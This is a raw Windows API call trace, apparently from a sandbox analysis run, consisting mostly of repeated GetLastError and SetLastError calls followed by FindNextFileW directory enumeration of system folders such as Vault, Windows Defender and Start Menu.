	[0212.503] GetLastError () returned 0x0
	[0212.503] SetLastError (dwErrCode=0x0) 
	[0212.503] GetLastError () returned 0x0
	[0212.503] SetLastError (dwErrCode=0x0) 
	[0212.503] GetLastError () returned 0x0
	[0212.503] SetLastError (dwErrCode=0x0) 
	[0212.503] GetLastError () returned 0x0
	[0212.503] SetLastError (dwErrCode=0x0) 
	[0212.503] GetLastError () returned 0x0
	[0212.503] SetLastError (dwErrCode=0x0) 
	[0212.503] GetLastError () returned 0x0
	[0212.503] SetLastError (dwErrCode=0x0) 
	[0212.503] GetLastError () returned 0x0
	[0212.503] SetLastError (dwErrCode=0x0) 
	[0212.503] GetLastError () returned 0x0
	[0212.503] SetLastError (dwErrCode=0x0) 
	[0212.503] GetLastError () returned 0x0
	[0212.504] SetLastError (dwErrCode=0x0) 
	[0212.504] GetLastError () returned 0x0
	[0212.504] SetLastError (dwErrCode=0x0) 
	[0212.504] GetLastError () returned 0x0
	[0212.504] SetLastError (dwErrCode=0x0) 
	[0212.504] GetLastError () returned 0x0
	[0212.504] SetLastError (dwErrCode=0x0) 
	[0212.504] GetLastError () returned 0x0
	[0212.504] SetLastError (dwErrCode=0x0) 
	[0212.504] GetLastError () returned 0x0
	[0212.504] SetLastError (dwErrCode=0x0) 
	[0212.504] GetLastError () returned 0x0
	[0212.504] SetLastError (dwErrCode=0x0) 
	[0212.504] GetLastError () returned 0x0
	[0212.504] SetLastError (dwErrCode=0x0) 
	[0212.504] GetLastError () returned 0x0
	[0212.504] SetLastError (dwErrCode=0x0) 
	[0212.504] GetLastError () returned 0x0
	[0212.504] SetLastError (dwErrCode=0x0) 
	[0212.504] GetLastError () returned 0x0
	[0212.505] SetLastError (dwErrCode=0x0) 
	[0212.505] GetLastError () returned 0x0
	[0212.505] SetLastError (dwErrCode=0x0) 
	[0212.505] GetLastError () returned 0x0
	[0212.505] SetLastError (dwErrCode=0x0) 
	[0212.505] GetLastError () returned 0x0
	[0212.505] SetLastError (dwErrCode=0x0) 
	[0212.505] GetLastError () returned 0x0
	[0212.505] SetLastError (dwErrCode=0x0) 
	[0212.505] GetLastError () returned 0x0
	[0212.505] SetLastError (dwErrCode=0x0) 
	[0212.505] GetLastError () returned 0x0
	[0212.505] SetLastError (dwErrCode=0x0) 
	[0212.505] GetLastError () returned 0x0
	[0212.505] SetLastError (dwErrCode=0x0) 
	[0212.505] GetLastError () returned 0x0
	[0212.505] SetLastError (dwErrCode=0x0) 
	[0212.505] GetLastError () returned 0x0
	[0212.505] SetLastError (dwErrCode=0x0) 
	[0212.505] GetLastError () returned 0x0
	[0212.505] SetLastError (dwErrCode=0x0) 
	[0212.505] GetLastError () returned 0x0
	[0212.506] SetLastError (dwErrCode=0x0) 
	[0212.506] GetLastError () returned 0x0
	[0212.506] SetLastError (dwErrCode=0x0) 
	[0212.506] GetLastError () returned 0x0
	[0212.506] SetLastError (dwErrCode=0x0) 
	[0212.506] GetLastError () returned 0x0
	[0212.506] SetLastError (dwErrCode=0x0) 
	[0212.506] GetLastError () returned 0x0
	[0212.506] SetLastError (dwErrCode=0x0) 
	[0212.506] GetLastError () returned 0x0
	[0212.506] SetLastError (dwErrCode=0x0) 
	[0212.506] GetLastError () returned 0x0
	[0212.506] SetLastError (dwErrCode=0x0) 
	[0212.506] GetLastError () returned 0x0
	[0212.506] SetLastError (dwErrCode=0x0) 
	[0212.506] GetLastError () returned 0x0
	[0212.506] SetLastError (dwErrCode=0x0) 
	[0212.506] GetLastError () returned 0x0
	[0212.506] SetLastError (dwErrCode=0x0) 
	[0212.506] GetLastError () returned 0x0
	[0212.507] SetLastError (dwErrCode=0x0) 
	[0212.507] GetLastError () returned 0x0
	[0212.507] SetLastError (dwErrCode=0x0) 
	[0212.507] GetLastError () returned 0x0
	[0212.507] SetLastError (dwErrCode=0x0) 
	[0212.507] GetLastError () returned 0x0
	[0212.507] SetLastError (dwErrCode=0x0) 
	[0212.507] GetLastError () returned 0x0
	[0212.507] SetLastError (dwErrCode=0x0) 
	[0212.507] GetLastError () returned 0x0
	[0212.507] SetLastError (dwErrCode=0x0) 
	[0212.507] GetLastError () returned 0x0
	[0212.507] SetLastError (dwErrCode=0x0) 
	[0212.507] GetLastError () returned 0x0
	[0212.507] SetLastError (dwErrCode=0x0) 
	[0212.507] GetLastError () returned 0x0
	[0212.507] SetLastError (dwErrCode=0x0) 
	[0212.507] GetLastError () returned 0x0
	[0212.507] SetLastError (dwErrCode=0x0) 
	[0212.507] GetLastError () returned 0x0
	[0212.508] SetLastError (dwErrCode=0x0) 
	[0212.508] GetLastError () returned 0x0
	[0212.508] SetLastError (dwErrCode=0x0) 
	[0212.508] GetLastError () returned 0x0
	[0212.508] SetLastError (dwErrCode=0x0) 
	[0212.508] GetLastError () returned 0x0
	[0212.508] SetLastError (dwErrCode=0x0) 
	[0212.508] GetLastError () returned 0x0
	[0212.508] SetLastError (dwErrCode=0x0) 
	[0212.508] GetLastError () returned 0x0
	[0212.508] SetLastError (dwErrCode=0x0) 
	[0212.508] GetLastError () returned 0x0
	[0212.508] SetLastError (dwErrCode=0x0) 
	[0212.508] GetLastError () returned 0x0
	[0212.508] SetLastError (dwErrCode=0x0) 
	[0212.508] GetLastError () returned 0x0
	[0212.508] SetLastError (dwErrCode=0x0) 
	[0212.508] GetLastError () returned 0x0
	[0212.508] SetLastError (dwErrCode=0x0) 
	[0212.508] GetLastError () returned 0x0
	[0212.509] SetLastError (dwErrCode=0x0) 
	[0212.509] GetLastError () returned 0x0
	[0212.509] SetLastError (dwErrCode=0x0) 
	[0212.509] GetLastError () returned 0x0
	[0212.509] SetLastError (dwErrCode=0x0) 
	[0212.509] GetLastError () returned 0x0
	[0212.509] SetLastError (dwErrCode=0x0) 
	[0212.509] GetLastError () returned 0x0
	[0212.509] SetLastError (dwErrCode=0x0) 
	[0212.509] GetLastError () returned 0x0
	[0212.509] SetLastError (dwErrCode=0x0) 
	[0212.509] GetLastError () returned 0x0
	[0212.509] SetLastError (dwErrCode=0x0) 
	[0212.509] GetLastError () returned 0x0
	[0212.509] SetLastError (dwErrCode=0x0) 
	[0212.509] GetLastError () returned 0x0
	[0212.509] SetLastError (dwErrCode=0x0) 
	[0212.509] GetLastError () returned 0x0
	[0212.807] SetLastError (dwErrCode=0x0) 
	[0212.807] GetLastError () returned 0x0
	[0212.807] SetLastError (dwErrCode=0x0) 
	[0212.807] GetLastError () returned 0x0
	[0212.807] SetLastError (dwErrCode=0x0) 
	[0212.807] GetLastError () returned 0x0
	[0212.807] SetLastError (dwErrCode=0x0) 
	[0212.807] GetLastError () returned 0x0
	[0212.807] SetLastError (dwErrCode=0x0) 
	[0212.807] GetLastError () returned 0x0
	[0212.807] SetLastError (dwErrCode=0x0) 
	[0212.807] GetLastError () returned 0x0
	[0212.807] SetLastError (dwErrCode=0x0) 
	[0212.807] GetLastError () returned 0x0
	[0212.807] SetLastError (dwErrCode=0x0) 
	[0212.808] GetLastError () returned 0x0
	[0212.808] SetLastError (dwErrCode=0x0) 
	[0212.808] GetLastError () returned 0x0
	[0212.808] SetLastError (dwErrCode=0x0) 
	[0212.808] GetLastError () returned 0x0
	[0212.808] SetLastError (dwErrCode=0x0) 
	[0214.488] FindNextFileW (in: hFindFile=0x665518, lpFindFileData=0x3a9eafc | out: lpFindFileData=0x3a9eafc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b2205b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x21b6e507, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x21b6e507, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0214.488] FindNextFileW (in: hFindFile=0x665518, lpFindFileData=0x3a9eafc | out: lpFindFileData=0x3a9eafc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x930c721b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x930c721b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x930c721b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x9ba5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="CUSTOM~1.XML")) returned 1
	[0214.488] FindNextFileW (in: hFindFile=0x665518, lpFindFileData=0x3a9eafc | out: lpFindFileData=0x3a9eafc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x919d3d65, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x919d3d65, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x919d3d65, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="MASTER~1.XML")) returned 1
	[0214.488] FindNextFileW (in: hFindFile=0x665518, lpFindFileData=0x3a9eafc | out: lpFindFileData=0x3a9eafc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b6e507, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x21b6e507, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x21b6e507, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1
	[0214.488] FindNextFileW (in: hFindFile=0x665518, lpFindFileData=0x3a9eafc | out: lpFindFileData=0x3a9eafc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b6e507, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x21b6e507, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x21b6e507, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0
	[0214.489] FindClose (in: hFindFile=0x665518 | out: hFindFile=0x665518) returned 1
	[0214.489] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0x4380078 | out: hHeap=0xd20000) returned 1
	[0214.491] FindNextFileW (in: hFindFile=0x6654d8, lpFindFileData=0x3a9ed80 | out: lpFindFileData=0x3a9ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{ee4aac98-c174-4941-82b1-d121e493e4fb}", cAlternateFileName="{EE4AA~1")) returned 1
	[0214.491] FindNextFileW (in: hFindFile=0x6654d8, lpFindFileData=0x3a9ed80 | out: lpFindFileData=0x3a9ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{f11899f2-71ec-4621-9997-e17ae2f6eb26}", cAlternateFileName="{F1189~1")) returned 1
	[0214.491] FindNextFileW (in: hFindFile=0x6654d8, lpFindFileData=0x3a9ed80 | out: lpFindFileData=0x3a9ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2178e943, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2178e943, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}", cAlternateFileName="{FC01E~1")) returned 1
	[0214.491] FindNextFileW (in: hFindFile=0x6654d8, lpFindFileData=0x3a9ed80 | out: lpFindFileData=0x3a9ed80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2178e943, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2178e943, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}", cAlternateFileName="{FC01E~1")) returned 0
	[0214.491] FindClose (in: hFindFile=0x6654d8 | out: hFindFile=0x6654d8) returned 1
	[0214.491] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0x4350060 | out: hHeap=0xd20000) returned 1
	[0214.494] FindNextFileW (in: hFindFile=0x645f78, lpFindFileData=0x3a9f004 | out: lpFindFileData=0x3a9f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb79dd84e, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb7a500e7, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb7a500e7, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1
	[0214.494] FindNextFileW (in: hFindFile=0x645f78, lpFindFileData=0x3a9f004 | out: lpFindFileData=0x3a9f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30e3b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Settings", cAlternateFileName="")) returned 1
	[0214.494] FindNextFileW (in: hFindFile=0x645f78, lpFindFileData=0x3a9f004 | out: lpFindFileData=0x3a9f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1dcfea0a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1dcfea0a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmsRouter", cAlternateFileName="SMSROU~1")) returned 1
	[0214.494] FindNextFileW (in: hFindFile=0x645f78, lpFindFileData=0x3a9f004 | out: lpFindFileData=0x3a9f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe3607ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spectrum", cAlternateFileName="")) returned 1
	[0214.494] FindNextFileW (in: hFindFile=0x645f78, lpFindFileData=0x3a9f004 | out: lpFindFileData=0x3a9f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe360d61, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Speech_OneCore", cAlternateFileName="SPEECH~1")) returned 1
	[0214.494] FindNextFileW (in: hFindFile=0x645f78, lpFindFileData=0x3a9f004 | out: lpFindFileData=0x3a9f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcb4dcad0, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xcb4dcad0, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Storage Health", cAlternateFileName="STORAG~1")) returned 1
	[0214.494] FindNextFileW (in: hFindFile=0x645f78, lpFindFileData=0x3a9f004 | out: lpFindFileData=0x3a9f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe3615f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UEV", cAlternateFileName="")) returned 1
	[0214.494] FindNextFileW (in: hFindFile=0x645f78, lpFindFileData=0x3a9f004 | out: lpFindFileData=0x3a9f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbaae4059, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xbaae4059, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Account Pictures", cAlternateFileName="USERAC~1")) returned 1
	[0214.494] FindNextFileW (in: hFindFile=0x645f78, lpFindFileData=0x3a9f004 | out: lpFindFileData=0x3a9f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2c3a2, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbe4bcf6d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x448126f7, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vault", cAlternateFileName="")) returned 1
	[0214.495] FindNextFileW (in: hFindFile=0x645f78, lpFindFileData=0x3a9f004 | out: lpFindFileData=0x3a9f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe4be180, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WDF", cAlternateFileName="")) returned 1
	[0214.495] FindNextFileW (in: hFindFile=0x645f78, lpFindFileData=0x3a9f004 | out: lpFindFileData=0x3a9f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xedcf5f61, ftLastAccessTime.dwHighDateTime=0x1d336d9, ftLastWriteTime.dwLowDateTime=0xedcf5f61, ftLastWriteTime.dwHighDateTime=0x1d336d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1
	[0214.495] FindNextFileW (in: hFindFile=0x645f78, lpFindFileData=0x3a9f004 | out: lpFindFileData=0x3a9f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc25d4e74, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb320aac5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1
	[0214.495] FindNextFileW (in: hFindFile=0x645f78, lpFindFileData=0x3a9f004 | out: lpFindFileData=0x3a9f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2a90a48, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender Advanced Threat Protection", cAlternateFileName="WIF4A9~1")) returned 1
	[0214.495] FindNextFileW (in: hFindFile=0x645f78, lpFindFileData=0x3a9f004 | out: lpFindFileData=0x3a9f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2a928fc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a996721, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~2")) returned 1
	[0214.495] FindNextFileW (in: hFindFile=0x645f78, lpFindFileData=0x3a9f004 | out: lpFindFileData=0x3a9f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2a93496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~3")) returned 1
	[0214.495] FindNextFileW (in: hFindFile=0x645f78, lpFindFileData=0x3a9f004 | out: lpFindFileData=0x3a9f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0ef6b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Security Health", cAlternateFileName="WINDOW~4")) returned 1
	[0214.495] FindNextFileW (in: hFindFile=0x645f78, lpFindFileData=0x3a9f004 | out: lpFindFileData=0x3a9f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbef9a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMSIPC", cAlternateFileName="")) returned 1
	[0214.495] FindNextFileW (in: hFindFile=0x645f78, lpFindFileData=0x3a9f004 | out: lpFindFileData=0x3a9f004*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc002d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 1
	[0214.495] FindNextFileW (in: hFindFile=0x645f78, lpFindFileData=0x3a9f004 | out: lpFindFileData=0x3a9f004*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc002d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 0
	[0214.495] FindClose (in: hFindFile=0x645f78 | out: hFindFile=0x645f78) returned 1
	[0214.495] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0x3504080 | out: hHeap=0xd20000) returned 1
	[0214.497] FindNextFileW (in: hFindFile=0x645f38, lpFindFileData=0x3a9f288 | out: lpFindFileData=0x3a9f288*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3ecd6462, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3ecd6462, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7e0055, cFileName="Microsoft OneDrive", cAlternateFileName="MICROS~2")) returned 1
	[0214.497] FindNextFileW (in: hFindFile=0x645f38, lpFindFileData=0x3a9f288 | out: lpFindFileData=0x3a9f288*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa2d56a03, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa2d56a03, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7e0055, cFileName="Oracle", cAlternateFileName="")) returned 1
	[0214.497] FindNextFileW (in: hFindFile=0x645f38, lpFindFileData=0x3a9f288 | out: lpFindFileData=0x3a9f288*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdefc9a0c, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdefc9a0c, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7e0055, cFileName="Package Cache", cAlternateFileName="PACKAG~1")) returned 1
	[0214.497] FindNextFileW (in: hFindFile=0x645f38, lpFindFileData=0x3a9f288 | out: lpFindFileData=0x3a9f288*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3122174, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x53fba98c, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7e0055, cFileName="regid.1991-06.com.microsoft", cAlternateFileName="REGID1~1.MIC")) returned 1
	[0214.497] FindNextFileW (in: hFindFile=0x645f38, lpFindFileData=0x3a9f288 | out: lpFindFileData=0x3a9f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc31230fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7e0055, cFileName="SoftwareDistribution", cAlternateFileName="SOFTWA~1")) returned 1
	[0214.497] FindNextFileW (in: hFindFile=0x645f38, lpFindFileData=0x3a9f288 | out: lpFindFileData=0x3a9f288*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x7877b7ce, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x7877b7ce, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x7877b7ce, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x7e0055, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1
